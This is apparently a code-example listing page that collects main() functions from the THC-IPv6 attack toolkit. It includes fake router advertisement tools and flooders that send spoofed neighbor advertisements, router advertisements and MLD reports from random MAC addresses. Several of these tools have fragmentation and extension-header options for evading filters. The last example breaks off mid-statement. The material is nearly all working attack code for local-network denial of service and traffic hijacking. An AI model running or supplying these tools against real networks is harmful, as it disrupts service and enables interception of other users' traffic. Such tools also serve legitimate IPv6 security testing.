コード例 #1
0
ファイル: fake_router26.c プロジェクト: LOLSquad/pkg-thc-ipv6
int main(int argc, char *argv[]) {
  char *interface, mac[16] = "", dmac[16] = "";
  unsigned char *routerip6, *mac6 = NULL, *ip6 = NULL;
  unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
  unsigned char rbuf[MAX_ENTRIES + 1][17], pbuf[MAX_ENTRIES + 1][17], *dbuf[MAX_ENTRIES + 1];
  unsigned char *dst = thc_resolve6("ff02::1");
  unsigned char *dstmac = thc_get_multicast_mac(dst);
  int size, mtu = 0, i, j, k, l, m, n, rcnt = 0, pcnt = 0, dcnt = 0, sent = 0;
  unsigned char *pkt = NULL, *searchlist = NULL;
  int pkt_len = 0;
  pcap_t *p;

  if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  memset(rbuf, 0, sizeof(rbuf));
  memset(mac, 0, sizeof(mac));

  while ((i = getopt(argc, argv, "i:r:E:R:M:m:S:s:D:L:A:a:r:d:t:T:p:n:l:F:")) >= 0) {
    switch (i) {
    case 'i':
      interval = atoi(optarg);
      break;
    case 'm':
      sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1], (unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4],
             (unsigned int *) &dmac[5]);
      dstmac = dmac;
      break;
    case 'S':
      sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
             (unsigned int *) &mac[5]);
      mac6 = mac;
      break;
    case 's':
      if ((ip6 = thc_resolve6(optarg)) == NULL) {
        fprintf(stderr, "Error: can not resolve source ip address %s\n", optarg);
        exit(-1);
      }
      break;
    case 'M':
      mtu = atoi(optarg);
      if (mtu < 0 || mtu > 65535) {
        fprintf(stderr, "Error: mtu argument is invalid: %s\n", optarg);
        exit(-1);
      }
      if (mtu < 1228 || mtu > 1500)
        fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing: %d\n", mtu);
      break;
    case 'n':
      to_send = atoi(optarg);
      if (to_send < 1 || mtu > 255) {
        fprintf(stderr, "Error: -n argument is invalid, must be between 1 and 255: %s\n", optarg);
        exit(-1);
      }
      break;
    case 'A':
      if (pcnt >= MAX_ENTRIES) {
        fprintf(stderr, "Error: you can not define more than %d autoconfig addresses\n", MAX_ENTRIES);
        exit(-1);
      }
      if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
        fprintf(stderr, "Error: -A option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
        exit(-1);
      }
      *ptr++ = 0;
      if ((size = atoi(ptr)) < 0 && size > 255) {       // yes we allow bad sizes :-)
        fprintf(stderr, "Error: -A option prefix length must be between 0 and 128: %s\n", optarg);
        exit(-1);
      }
      if (size != 64)
        fprintf(stderr, "Warning: -A option defines an unusual prefix length: %d\n", size);
      if (index(optarg, ':') == NULL)
        strcat(optarg, "::");
      if ((routerip6 = thc_resolve6(optarg)) == NULL) {
        fprintf(stderr, "Error: -A option network is invalid: %s\n", optarg);
        exit(-1);
      }
      pbuf[pcnt][0] = size % 256;
      memcpy((char *) &pbuf[pcnt][1], routerip6, 16);
      pcnt++;
      break;
    case 'a':
      plife = atoi(optarg);
      break;
    case 'r':
      rlife = atoi(optarg);
      break;
    case 'd':
      dlife = atoi(optarg);
      break;
    case 'l':
      llife = atoi(optarg);
      break;
    case 'T':
      reach = atoi(optarg);
      break;
    case 't':
      trans = atoi(optarg);
      break;
    case 'p':
      if (strncasecmp(optarg, "low", 3) == 0)
        prio = 0;
      else
        if (strncasecmp(optarg, "med", 3) == 0)
          prio = 1;
        else
          if (strncasecmp(optarg, "hi", 2) == 0)
            prio = 2;
          else
            if (strncasecmp(optarg, "res", 3) == 0)
              prio = 3;
            else {
              fprintf(stderr, "Error: unknown priority, known keywords are low, medium and high: %s\n", optarg);
              exit(-1);
            }
      break;
    case 'R':
      if (rcnt >= MAX_ENTRIES) {
        fprintf(stderr, "Error: you can not define more than %d routes\n", MAX_ENTRIES);
        exit(-1);
      }
      if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
        fprintf(stderr, "Error: -R option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
        exit(-1);
      }
      *ptr++ = 0;
      if ((size = atoi(ptr)) < 0 && size > 255) {       // yes we allow bad sizes :-)
        fprintf(stderr, "Error: -R option prefix length must be between 0 and 128: %s\n", optarg);
        exit(-1);
      }
      if (index(optarg, ':') == NULL)
        strcat(optarg, "::");
      if ((routerip6 = thc_resolve6(optarg)) == NULL) {
        fprintf(stderr, "Error: -R option network is invalid: %s\n", optarg);
        exit(-1);
      }
      rbuf[rcnt][0] = size % 256;
      memcpy((char *) &rbuf[rcnt][1], routerip6, 16);
      rcnt++;
      break;
    case 'D':
      if (dcnt >= MAX_ENTRIES) {
        fprintf(stderr, "Error: you can not define more than %d DNS servers\n", MAX_ENTRIES);
        exit(-1);
      }
      if ((dbuf[dcnt++] = thc_resolve6(optarg)) == NULL) {
        fprintf(stderr, "Error: can not resolve DNS server %s\n", optarg);
        exit(-1);
      }
      break;
    case 'L':
      searchlist = optarg;
      break;
    case 'E':
      if (optarg == NULL) {
        fprintf(stderr, "Error: no option type given for -E\n");
        exit(-1);
      }
      for (j = 0; j < strlen(optarg); j++) {
        switch (optarg[j]) {    // fall through to be fail safe on accidental misuse
        case '0':              // fall through
        case 'O':
          do_overlap = 1;
          break;
        case 'o':
          do_overlap = 2;
          break;
        case '1':              // fall through
        case 'l':              // fall through
        case 'L':
          do_frag++;
          break;
        case 'h':              // fall through
        case 'H':
          do_hop = 1;
          break;
        case 'd':              // fall through
        case 'D':
          do_dst = 1;
          break;
        default:
          fprintf(stderr, "Error: unknown evasion type %c!\n", optarg[j]);
          exit(-1);
        }
        if ((do_frag && (do_dst || do_overlap)) || (do_dst && do_overlap)) {
          fprintf(stderr, "Error: you can not use -E types 1, D, O and o together!\n");
          exit(-1);
        }
      }
      break;
    case 'F':
        ptr = strtok(optarg, ",");
        while (ptr != NULL) {
          if (strncasecmp(ptr, "man", 3) == 0)
            flags = (flags | 128);
          else if (strncasecmp(ptr, "oth", 3) == 0)
            flags = (flags | 64);
          else if (strncasecmp(ptr, "hom", 3) == 0)
            flags = (flags | 32);
          else if (strncasecmp(ptr, "prox", 4) == 0)
            flags = (flags | 4);
          else if (strncasecmp(ptr, "res", 3) == 0)
            flags = (flags | 2);
          else if (strncasecmp(ptr, "unk", 3) == 0)
            flags = (flags | 1);
          else {
            fprintf(stderr, "Error: unknown flag: %s\n", ptr);
            exit(-1);
          }
          ptr = strtok(NULL, ",");
        }
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if ((argc - optind) < 1 || (argc - optind) > 2)
    help(argv[0]);

  if (do_hdr_size)
    myoff = do_hdr_size;
  interface = argv[optind];
  if (argc - optind == 2)
    if ((dst = thc_resolve6(argv[optind + 1])) == NULL) {
      fprintf(stderr, "Error: invalid target %s\n", argv[optind + 1]);
      exit(-1);
    }
  if (mtu == 0)
    mtu = thc_get_mtu(interface);
  if (mac6 == NULL)
    if ((mac6 = thc_get_own_mac(interface)) == NULL) {
      fprintf(stderr, "Error: invalid interface %s\n", interface);
      exit(-1);
    }
  if (ip6 == NULL)
    if ((ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK)) == NULL) {
      fprintf(stderr, "Error: IPv6 is not enabled on interface %s\n", interface);
      exit(-1);
    }
//  if (dns == NULL)
//    dns = thc_resolve6("ff02::fb");

  frint = interface;
  frip6 = ip6;
  frmac = mac6;
  frbuf = buf;
  frbuf2 = buf2;
  frbuf2len = sizeof(buf2);

  memset(buf, 0, sizeof(buf));
  memset(buf2, 0, sizeof(buf2));
  memset(buf3, 0, sizeof(buf3));

  if (llife > 0xffff)
    llife = 0xffff;
  llife = (llife | 0xff000000);
  if (prio == 2)
    llife = (llife | 0x00080000);
  else if (prio == 0)
    llife = (llife | 0x00180000);
  else if (prio != 1)
    llife = (llife | 0x00100000);
  
  llife = (llife | (flags << 16));

  buf[0] = reach / 16777216;
  buf[1] = (reach % 16777216) / 65536;
  buf[2] = (reach % 65536) / 256;
  buf[3] = reach % 256;
  buf[4] = trans / 16777216;
  buf[5] = (trans % 16777216) / 65536;
  buf[6] = (trans % 65536) / 256;
  buf[7] = trans % 256;

  // option mtu
  buf[8] = 5;
  buf[9] = 1;
  buf[12] = mtu / 16777216;
  buf[13] = (mtu % 16777216) / 65536;
  buf[14] = (mtu % 65536) / 256;
  buf[15] = mtu % 256;
  i = 16;

  // mac address option
  buf[i++] = 1;
  buf[i++] = 1;
  memcpy(buf + i, mac6, 6);
  i += 6;

  // option prefix, put all in
  if (pcnt > 0)
    for (j = 0; j < pcnt; j++) {
      buf[i++] = 3;
      buf[i++] = 4;
      buf[i++] = pbuf[j][0];    // prefix length
      buf[i++] = 128 + 64;
      buf[i++] = plife / 16777216;
      buf[i++] = (plife % 16777216) / 65536;
      buf[i++] = (plife % 65536) / 256;
      buf[i++] = plife % 256;
      buf[i++] = (plife / 2) / 16777216;
      buf[i++] = ((plife / 2) % 16777216) / 65536;
      buf[i++] = ((plife / 2) % 65536) / 256;
      buf[i++] = (plife / 2) % 256;
      i += 4;                   // + 4 bytes reserved
      memcpy(&buf[i], (char *) &pbuf[j][1], 16);
      i += 16;
    }
  // route option, put all in
  if (rcnt > 0)
    for (j = 0; j < rcnt; j++) {
      buf[i++] = 0x18;          // routing entry option type
      buf[i++] = 0x03;          // length 3 == 24 bytes
      buf[i++] = rbuf[j][0];    // prefix length
      if (prio == 2)
        buf[i++] = 0x08;          // priority, highest of course
      else if (prio == 1)
        buf[i++] = 0x00;
      else if (prio == 0)
        buf[i++] = 0x18;
      else
        buf[i++] == 0x10;
      buf[i++] = rlife / 16777216;
      buf[i++] = (rlife % 16777216) / 65536;
      buf[i++] = (rlife % 65536) / 256;
      buf[i++] = rlife % 256;
      memcpy((char *) &buf[i], (char *) &rbuf[j][1], 16);       // network
      i += 16;
    }
  // dns option
  if (dcnt > 0)
    for (j = 0; j < dcnt; j++) {
      buf[i++] = 0x19;          // dns option type
      buf[i++] = 0x03;          // length
      i += 2;                   // reserved
      buf[i++] = dlife / 16777216;
      buf[i++] = (dlife % 16777216) / 65536;
      buf[i++] = (dlife % 65536) / 256;
      buf[i++] = dlife % 256;
      memcpy(buf + i, dbuf[j], 16);     // dns server
      i += 16;
    }
    
  // dns searchlist option
  if (searchlist != NULL) {
    buf[i] = 31;
    buf[i + 4] = dlife / 16777216;
    buf[i + 5] = (dlife % 16777216) / 65536;
    buf[i + 6] = (dlife % 65536) / 256;
    buf[i + 7] = dlife % 256;
    if (searchlist[strlen(searchlist) - 1] == '.')
      searchlist[strlen(searchlist) - 1] = 0;
    m = 0;
    while ((ptr = strstr(searchlist, ".,")) != NULL) {
      m = strlen(ptr);
      for (l = 1; l < m; l++)
        ptr[l - 1] = ptr[l];
      ptr[m - 1] = 0;
    }
    l = 0;
    m = 0;
    j = strlen(searchlist);
    do {
      k = 0;
      ptr = index(&searchlist[l], '.');
      if (ptr == NULL || (index(&searchlist[l], ',') != NULL && (char*)ptr > (char*)index(&searchlist[l], ','))) {
        k = 1;
        ptr = index(&searchlist[l], ',');
      }
      if (ptr != NULL)
        *ptr = 0;
      n = strlen(&searchlist[l]);

      buf[i + 8 + m] = n;
      memcpy(&buf[i + 8 + m + 1], &searchlist[l], n);

      if (ptr == NULL)
        l = j;
      else
        l += 1 + n;

      m += 1 + n;

      if (k || ptr == NULL)
        m++; // end of domain entry
    } while (l < j && ptr != NULL);
    if (m % 8 > 0)
      m = ( (m / 8) + 1 ) * 8;
    buf[i + 1] = m/8 + 1;
    i += m + 8;
  }

  frbuflen = i;

  if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
    return -1;

  if (do_hop) {
    type = NXT_HBH;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
      return -1;
  }
  if (do_frag) {
    type = NXT_FRAG;
    for (j = 0; i < do_frag; j++)
      if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0)
        return -1;
  }

  if (do_dst) {
    if (type == NXT_ICMP6)
      type = NXT_DST;
    if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
      return -1;
  }
  if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, llife, buf, i, 0) < 0)
    return -1;
  if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
    return -1;
  frhdr = (thc_ipv6_hdr *) pkt;
//printf("DEBUG: RA size is %d bytes, do_dst %d, do_overlap %d\n", i + 8, do_dst, do_overlap);

  // init pcap
  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  printf("Starting to advertise router (Press Control-C to end) ...\n");
  while (sent < to_send || to_send > 255) {
    if (do_dst) {
      thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232);
    } else if (do_overlap) {
      if (do_overlap == 1)
        thc_send_as_overlapping_first_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
      else
        thc_send_as_overlapping_last_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
    } else {
      thc_send_pkt(interface, pkt, &pkt_len);
    }
    while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
    sent++;
    if (sent != to_send || to_send > 255)
      sleep(interval);
  }
  return 0; // never reached
}
コード例 #2
0
ファイル: flood_advertise6.c プロジェクト: Byrnesz/thc-ipv6
int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *mac6 = mac, *ip6;
  unsigned char buf[24], srcmac[8] = "", *smac = NULL;
  unsigned char *dst = thc_resolve6("ff02::1"), *dstmac = thc_get_multicast_mac(dst);
  int i;
  unsigned char *pkt = NULL;
  int pkt_len = 0, flags, rawmode = 0, count = 0, prefer = PREFER_LINK, keepmac = 0;

  if (argc > 2 && strncmp(argv[1], "-k", 2) == 0) {
    keepmac = 1;
    if ((smac = thc_get_own_mac(argv[2])) == NULL) {
      fprintf(stderr, "Error: invalid interface %s\n", argv[2]);
      exit(-1);
    }
    argv++;
    argc--;
  }
  if (argc > 2 && strncmp(argv[1], "-m", 2) == 0) {
    sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *) &srcmac[0], (unsigned int *) &srcmac[1], (unsigned int *) &srcmac[2], (unsigned int *) &srcmac[3],
           (unsigned int *) &srcmac[4], (unsigned int *) &srcmac[5]);
    smac = srcmac;
    argv+=2;
    argc-=2;
  }
  if (smac != NULL)
    mac6 = smac;

  if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[1];
  if (thc_get_own_mac(interface) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  if (argc == 3) {
    if ((dst = thc_resolve6(argv[2])) == NULL) {
      fprintf(stderr, "Error: invalid target IPv6 address\n");
      exit(-1);
    } else {
      dstmac = thc_get_mac(interface, NULL, dst);
  }
    if (dst[0] >= 0x20 && dst[0] <= 0xfd)
      prefer = PREFER_GLOBAL;
  }

  ip6 = thc_get_own_ipv6(interface, dst, prefer);

  mac[0] = 0x00;
  mac[1] = 0x18;
  memset(ip6 + 8, 0, 8);
  ip6[8] = 0x02;
  ip6[9] = mac[1];
  ip6[11] = 0xff;
  ip6[12] = 0xfe;
  memset(buf, 0, sizeof(buf));
  buf[16] = 2;
  buf[17] = 1;
  buf[18] = mac[0];
  buf[19] = mac[1];
  memcpy(buf, ip6, 16);
  flags = ICMP6_NEIGHBORADV_OVERRIDE;

  printf("Starting to flood network with neighbor advertisements on %s (Press Control-C to end, a dot is printed for every 1000 packets):\n", interface);
  while (1) {

    for (i = 2; i < 6; i++)
      mac[i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];

    count++;
    memcpy(buf + 10, ip6 + 10, 6);
    memcpy(&buf[20], mac + 2, 4);

    if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, flags, buf, sizeof(buf), 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
//      fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
//      perror("");
//      return -1;
      printf("!");
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 1000 == 0)
      printf(".");
  }
  return 0;
}
コード例 #3
0
int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0");
  unsigned char buf[6];
  unsigned char *dst = thc_resolve6("ff02::6a"), *dstmac = thc_get_multicast_mac(dst);
  int i;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  int count = 0;

  if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[1];
  if (thc_get_own_mac(interface) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  if (argc > 2)
    if ((dst = thc_resolve6(argv[2])) == NULL) {
      fprintf(stderr, "Error: can not resolve %s\n", argv[2]);
      exit(-1);
    }

  memset(buf, 0, sizeof(buf));
  mac[0] = 0x00;
  mac[1] = 0x18;
  ip6[9] = mac[1];

  printf("Starting to flood network with MLD router advertisements on %s (Press Control-C to end, a dot is printed for every 1000 packets):\n", interface);
  while (1) {

    for (i = 0; i < 4; i++)
      mac[2 + i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];
    count++;

    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD_ROUTERADV, 15, 0x00300006, buf, 0, 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
//      fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
//      perror("");
//      return -1;
      printf("!");
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 1000 == 0)
      printf(".");
  }
  return 0;
}
コード例 #4
0
int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
  unsigned char buf[56], buf2[6], buf3[1504];
  unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
  int size, mtu, i, type = NXT_ICMP6;
  unsigned char *pkt = NULL;
  int pkt_len = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, cnt, do_dst = 0;
  thc_ipv6_hdr *hdr = NULL;

  if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "DFHr")) >= 0) {
    switch (i) {
    case 'r':
      thc_ipv6_rawmode(1);
      rawmode = 1;
      break;
    case 'F':
      do_frag++;
      break;
    case 'H':
      do_hop = 1;
      break;
    case 'D':
      do_dst = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 1)
    help(argv[0]);


  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[optind];
  mtu = 1500;
  size = 64;
  ip6 = malloc(16);
  routerip6 = malloc(16);
  route6 = malloc(16);

  mac[0] = 0x00;
  mac[1] = 0x18;
  memset(ip6, 0, 16);
  ip6[0] = 0xfe;
  ip6[1] = 0x80;
  ip6[8] = 0x02;
  ip6[9] = mac[1];
  ip6[11] = 0xff;
  ip6[12] = 0xfe;
  routerip6[0] = 0x2a;
  routerip6[1] = 0x01;
  routerip6[15] = 0x01;
  memset(route6 + 8, 0, 8);

  memset(buf2, 0, sizeof(buf2));
  memset(buf3, 0, sizeof(buf3));

  memset(buf, 0, sizeof(buf));
  buf[1] = 250;
  buf[5] = 30;
  buf[8] = 5;
  buf[9] = 1;
  buf[12] = mtu / 16777216;
  buf[13] = (mtu % 16777216) / 65536;
  buf[14] = (mtu % 65536) / 256;
  buf[15] = mtu % 256;
  buf[16] = 3;
  buf[17] = 4;
  buf[18] = size;
  buf[19] = 128 + 64 + 32;
  memset(&buf[20], 255, 8);
  buf[48] = 1;
  buf[49] = 1;

  printf("Starting to flood network with router advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
  while (1) {

    for (i = 2; i < 6; i++)
      mac[i] = rand() % 256;
    for (i = 2; i < 8; i++)
      routerip6[i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];
    memcpy(route6, routerip6, 8);
    memcpy(&buf[32], route6, 16);
    memcpy(&buf[50], mac6, 6);

    count++;

    if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (do_hop) {
      type = NXT_HBH;
      if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
        return -1;
    }
    if (do_frag) {
      if (type == NXT_ICMP6)
        type = NXT_FRAG;
      for (i = 0; i < do_frag; i++)
        if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
          return -1;
    }
    if (do_dst) {
      if (type == NXT_ICMP6)
        type = NXT_DST;
      if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
        return -1;
    }
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
      return -1;
    if (do_dst) {
      thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len);
      hdr = (thc_ipv6_hdr *) pkt;
      thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + 14, hdr->pkt_len - 40 - 14, 1240);
    } else {
      if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
        fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
        perror("");
        return -1;
      }
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 100 == 0)
      printf(".");
  }
  return 0;
}
コード例 #5
0
int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0");
  unsigned char buf[6], buf2[RECORD_NUMBER * (4 + 16 + 16)];
  unsigned char *dst = thc_resolve6("ff02::16"), *dstmac = thc_get_multicast_mac(dst);
  int i, j;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  int count = 0;

  if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[1];

  mac[0] = 0x00;
  mac[1] = 0x18;
  ip6[9] = mac[1];
  memset(buf, 0, sizeof(buf));
  buf[0] = 5;
  buf[1] = 2;
  memset(buf2, 0, sizeof(buf2));
  for (i = 0; i < RECORD_NUMBER; i++) {
    buf2[0 + i * 36] = 3;       // CHANGE_TO_INCLUDE_MODE
    buf2[3 + i * 36] = 1;
    buf2[4 + i * 36] = 0xff;
    buf2[5 + i * 36] = 0x02;
    memcpy(buf2 + 20 + i * 36, ip6, 16);
  }

  printf("Starting to flood network with MLDv2 reports on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
  while (1) {

    for (i = 0; i < 4; i++)
      mac[2 + i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];

    for (i = 0; i < RECORD_NUMBER; i++) {
      for (j = 0; j < 6; j++)
        buf2[14 + j + i * 36] = rand() % 256;
      memcpy(buf2 + 29 + i * 36, ip6 + 9, 7);
    }
    count++;

    if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD2_REPORT, 0, RECORD_NUMBER, buf2, sizeof(buf2), 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
//      fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
//      perror("");
//      return -1;
      printf("!");
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 100 == 0)
      printf(".");
  }
  return 0;
}
コード例 #6
0
int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *mac6 = mac, *ip6;
  unsigned char buf[24];
  unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
  int i;
  unsigned char *pkt = NULL;
  int pkt_len = 0, flags, rawmode = 0, count = 0;

  if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[1];

  ip6 = malloc(16);

  mac[0] = 0x00;
  mac[1] = 0x18;
  memset(ip6, 0, 16);
  ip6[0] = 0xfe;
  ip6[1] = 0x80;
  ip6[8] = 0x02;
  ip6[9] = mac[1];
  ip6[11] = 0xff;
  ip6[12] = 0xfe;
  memset(buf, 0, sizeof(buf));
  buf[16] = 2;
  buf[17] = 1;
  buf[18] = mac[0];
  buf[19] = mac[1];
  memcpy(buf, ip6, 16);

  printf("Starting to flood network with neighbor advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
  while (1) {

    for (i = 2; i < 6; i++)
      mac[i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];

    count++;
    memcpy(buf + 10, ip6 + 10, 6);
    memcpy(&buf[20], mac + 2, 4);
    flags = ICMP6_NEIGHBORADV_OVERRIDE;

    if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, flags, buf, sizeof(buf), 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
      fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
      perror("");
      return -1;
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 100 == 0)
      printf(".");
  }
  return 0;
}
コード例 #7
0
ファイル: fake_router6.c プロジェクト: LOLSquad/pkg-thc-ipv6
int main(int argc, char *argv[]) {
  char *routerip, *interface, mac[16] = "";
  unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
  unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
  unsigned char *dst = thc_resolve6("ff02::1");
  unsigned char *dstmac = thc_get_multicast_mac(dst);
  unsigned char *dns;
  int size, mtu = 1500, i, j, k, cnt;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  pcap_t *p;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "FHDr")) >= 0) {
    switch (i) {
    case 'r':
      thc_ipv6_rawmode(1);
      rawmode = 1;
      break;
    case 'F':
      do_frag++;
      break;
    case 'H':
      do_hop = 1;
      break;
    case 'D':
      do_dst = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 2)
    help(argv[0]);

  if (do_hdr_size)
    myoff = do_hdr_size;
  frbuf = buf;
  frbuf2 = buf2;
  frbuf2len = sizeof(buf2);
  memset(mac, 0, sizeof(mac));
  interface = argv[optind];
  mtu = thc_get_mtu(interface);
  if (argc - optind >= 5)
    mtu = atoi(argv[optind + 4]);
  if (argc - optind >= 7 && (ptr = argv[optind + 5]) != NULL)
